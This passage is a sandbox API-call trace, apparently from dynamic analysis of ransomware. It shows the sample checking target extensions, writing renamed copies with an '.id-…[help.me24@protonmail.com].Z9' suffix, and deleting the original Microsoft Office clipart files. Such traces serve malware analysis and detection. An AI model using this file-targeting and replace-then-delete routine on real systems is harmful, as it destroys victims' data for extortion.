	[0093.876] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02116_.wmf")) returned 1
	[0093.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 68
	[0093.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 68
	[0093.876] lstrlenW (lpString=".doc") returned 4
	[0093.876] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0093.876] lstrlenW (lpString=".docx") returned 5
	[0093.876] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0093.876] lstrlenW (lpString=".pdf") returned 4
	[0093.877] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0093.877] lstrlenW (lpString=".xls") returned 4
	[0093.877] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0093.877] lstrlenW (lpString=".xlsx") returned 5
	[0093.877] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0093.877] lstrlenW (lpString=".ppt") returned 4
	[0093.877] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0093.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 68
	[0093.877] lstrlenW (lpString=".zip") returned 4
	[0093.877] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0093.877] lstrlenW (lpString=".rar") returned 4
	[0093.877] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0093.877] lstrlenW (lpString=".bz2") returned 4
	[0093.877] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0093.877] lstrlenW (lpString=".7z") returned 3
	[0093.877] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0093.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 68
	[0093.877] lstrlenW (lpString=".dbf") returned 4
	[0093.877] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0093.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 68
	[0093.877] lstrlenW (lpString=".1cd") returned 4
	[0093.877] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0093.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 68
	[0093.877] lstrlenW (lpString=".jpg") returned 4
	[0093.877] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0093.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 68
	[0093.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 68
	[0093.877] lstrlenW (lpString=".doc") returned 4
	[0093.877] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0093.877] lstrlenW (lpString=".docx") returned 5
	[0093.877] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0093.877] lstrlenW (lpString=".pdf") returned 4
	[0093.877] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0093.877] lstrlenW (lpString=".xls") returned 4
	[0093.877] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0093.877] lstrlenW (lpString=".xlsx") returned 5
	[0093.878] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0093.878] lstrlenW (lpString=".ppt") returned 4
	[0093.878] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0093.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 68
	[0093.878] lstrlenW (lpString=".zip") returned 4
	[0093.878] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0093.878] lstrlenW (lpString=".rar") returned 4
	[0093.878] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0093.878] lstrlenW (lpString=".bz2") returned 4
	[0093.878] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0093.878] lstrlenW (lpString=".7z") returned 3
	[0093.878] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0093.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 68
	[0093.878] lstrlenW (lpString=".dbf") returned 4
	[0093.878] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0093.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 68
	[0093.878] lstrlenW (lpString=".1cd") returned 4
	[0093.878] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0093.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 68
	[0093.878] lstrlenW (lpString=".jpg") returned 4
	[0093.878] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0093.878] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0093.878] lstrlenW (lpString="FD02153_.WMF") returned 12
	[0093.878] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02153_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8
	[0093.879] GetFileSizeEx (in: hFile=0x2b8, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=5392) returned 1
	[0093.879] CloseHandle (hObject=0x2b8) returned 1
	[0093.879] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02153_.wmf")) returned 0x220
	[0093.879] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02153_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0093.879] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02153_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8
	[0093.879] SetFilePointerEx (in: hFile=0x2b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.879] SetFilePointerEx (in: hFile=0x2b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.879] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02153_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0093.880] GetLastError () returned 0x0
	[0093.880] ReadFile (in: hFile=0x2b8, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x1510, lpOverlapped=0x0) returned 1
	[0093.965] WriteFile (in: hFile=0x300, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0x1520, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0x1520, lpOverlapped=0x0) returned 1
	[0093.967] ReadFile (in: hFile=0x2b8, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0093.967] WriteFile (in: hFile=0x300, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0093.967] SetEndOfFile (hFile=0x300) returned 1
	[0093.975] CloseHandle (hObject=0x300) returned 1
	[0093.976] SetFilePointerEx (in: hFile=0x2b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.976] SetEndOfFile (hFile=0x2b8) returned 1
	[0093.976] CloseHandle (hObject=0x2b8) returned 1
	[0093.976] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0093.977] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02153_.wmf")) returned 1
	[0093.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68
	[0093.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68
	[0093.991] lstrlenW (lpString=".doc") returned 4
	[0093.991] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0093.991] lstrlenW (lpString=".docx") returned 5
	[0093.991] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0093.991] lstrlenW (lpString=".pdf") returned 4
	[0093.991] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0093.991] lstrlenW (lpString=".xls") returned 4
	[0093.991] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0093.991] lstrlenW (lpString=".xlsx") returned 5
	[0093.991] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0093.991] lstrlenW (lpString=".ppt") returned 4
	[0093.991] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0093.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68
	[0093.991] lstrlenW (lpString=".zip") returned 4
	[0093.991] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0093.992] lstrlenW (lpString=".rar") returned 4
	[0093.992] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0093.992] lstrlenW (lpString=".bz2") returned 4
	[0093.992] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0093.992] lstrlenW (lpString=".7z") returned 3
	[0093.992] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0093.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68
	[0093.992] lstrlenW (lpString=".dbf") returned 4
	[0093.992] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0093.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68
	[0093.992] lstrlenW (lpString=".1cd") returned 4
	[0093.992] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0093.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68
	[0093.992] lstrlenW (lpString=".jpg") returned 4
	[0093.992] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0093.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68
	[0093.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68
	[0093.992] lstrlenW (lpString=".doc") returned 4
	[0093.992] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0093.992] lstrlenW (lpString=".docx") returned 5
	[0093.992] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0093.992] lstrlenW (lpString=".pdf") returned 4
	[0093.992] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0093.992] lstrlenW (lpString=".xls") returned 4
	[0093.992] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0093.992] lstrlenW (lpString=".xlsx") returned 5
	[0093.992] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0093.992] lstrlenW (lpString=".ppt") returned 4
	[0093.992] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0093.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68
	[0093.992] lstrlenW (lpString=".zip") returned 4
	[0093.992] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0093.992] lstrlenW (lpString=".rar") returned 4
	[0093.992] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0093.992] lstrlenW (lpString=".bz2") returned 4
	[0093.992] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0093.993] lstrlenW (lpString=".7z") returned 3
	[0093.993] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0093.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68
	[0093.993] lstrlenW (lpString=".dbf") returned 4
	[0093.993] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0093.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68
	[0093.993] lstrlenW (lpString=".1cd") returned 4
	[0093.993] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0093.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68
	[0093.993] lstrlenW (lpString=".jpg") returned 4
	[0093.993] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0093.993] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0093.993] lstrlenW (lpString="HH00057_.WMF") returned 12
	[0093.993] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00057_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0094.326] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=3764) returned 1
	[0094.326] CloseHandle (hObject=0x35c) returned 1
	[0094.326] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00057_.wmf")) returned 0x220
	[0094.326] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00057_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0094.327] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00057_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0094.327] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.327] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.327] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00057_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0094.327] GetLastError () returned 0x0
	[0094.327] ReadFile (in: hFile=0x35c, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0xeb4, lpOverlapped=0x0) returned 1
	[0094.328] WriteFile (in: hFile=0x380, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0xec0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec0, lpOverlapped=0x0) returned 1
	[0094.329] ReadFile (in: hFile=0x35c, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0094.329] WriteFile (in: hFile=0x380, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0094.329] SetEndOfFile (hFile=0x380) returned 1
	[0094.330] CloseHandle (hObject=0x380) returned 1
	[0094.330] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.330] SetEndOfFile (hFile=0x35c) returned 1
	[0094.330] CloseHandle (hObject=0x35c) returned 1
	[0094.330] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0094.331] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00057_.wmf")) returned 1
	[0094.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68
	[0094.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68
	[0094.331] lstrlenW (lpString=".doc") returned 4
	[0094.331] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0094.331] lstrlenW (lpString=".docx") returned 5
	[0094.331] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0094.331] lstrlenW (lpString=".pdf") returned 4
	[0094.331] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0094.331] lstrlenW (lpString=".xls") returned 4
	[0094.331] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0094.331] lstrlenW (lpString=".xlsx") returned 5
	[0094.331] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0094.331] lstrlenW (lpString=".ppt") returned 4
	[0094.331] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0094.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68
	[0094.331] lstrlenW (lpString=".zip") returned 4
	[0094.331] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0094.331] lstrlenW (lpString=".rar") returned 4
	[0094.331] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0094.331] lstrlenW (lpString=".bz2") returned 4
	[0094.331] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0094.331] lstrlenW (lpString=".7z") returned 3
	[0094.331] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0094.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68
	[0094.332] lstrlenW (lpString=".dbf") returned 4
	[0094.332] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0094.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68
	[0094.332] lstrlenW (lpString=".1cd") returned 4
	[0094.332] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0094.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68
	[0094.332] lstrlenW (lpString=".jpg") returned 4
	[0094.332] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0094.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68
	[0094.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68
	[0094.332] lstrlenW (lpString=".doc") returned 4
	[0094.332] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0094.332] lstrlenW (lpString=".docx") returned 5
	[0094.332] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0094.332] lstrlenW (lpString=".pdf") returned 4
	[0094.332] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0094.332] lstrlenW (lpString=".xls") returned 4
	[0094.332] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0094.332] lstrlenW (lpString=".xlsx") returned 5
	[0094.332] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0094.332] lstrlenW (lpString=".ppt") returned 4
	[0094.332] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0094.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68
	[0094.332] lstrlenW (lpString=".zip") returned 4
	[0094.332] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0094.332] lstrlenW (lpString=".rar") returned 4
	[0094.332] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0094.332] lstrlenW (lpString=".bz2") returned 4
	[0094.332] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0094.332] lstrlenW (lpString=".7z") returned 3
	[0094.332] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0094.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68
	[0094.332] lstrlenW (lpString=".dbf") returned 4
	[0094.332] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0094.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68
	[0094.333] lstrlenW (lpString=".1cd") returned 4
	[0094.333] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0094.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68
	[0094.333] lstrlenW (lpString=".jpg") returned 4
	[0094.333] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0094.333] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0094.333] lstrlenW (lpString="HH00526_.WMF") returned 12
	[0094.333] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00526_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0094.334] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=13538) returned 1
	[0094.334] CloseHandle (hObject=0x35c) returned 1
	[0094.334] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00526_.wmf")) returned 0x220
	[0094.334] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00526_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0094.334] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00526_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0094.334] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.334] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.334] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00526_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0094.334] GetLastError () returned 0x0
	[0094.334] ReadFile (in: hFile=0x35c, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x34e2, lpOverlapped=0x0) returned 1
	[0094.336] WriteFile (in: hFile=0x380, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0x34f0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0x34f0, lpOverlapped=0x0) returned 1
	[0094.337] ReadFile (in: hFile=0x35c, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0094.337] WriteFile (in: hFile=0x380, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0094.338] SetEndOfFile (hFile=0x380) returned 1
	[0094.338] CloseHandle (hObject=0x380) returned 1
	[0094.338] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.338] SetEndOfFile (hFile=0x35c) returned 1
	[0094.339] CloseHandle (hObject=0x35c) returned 1
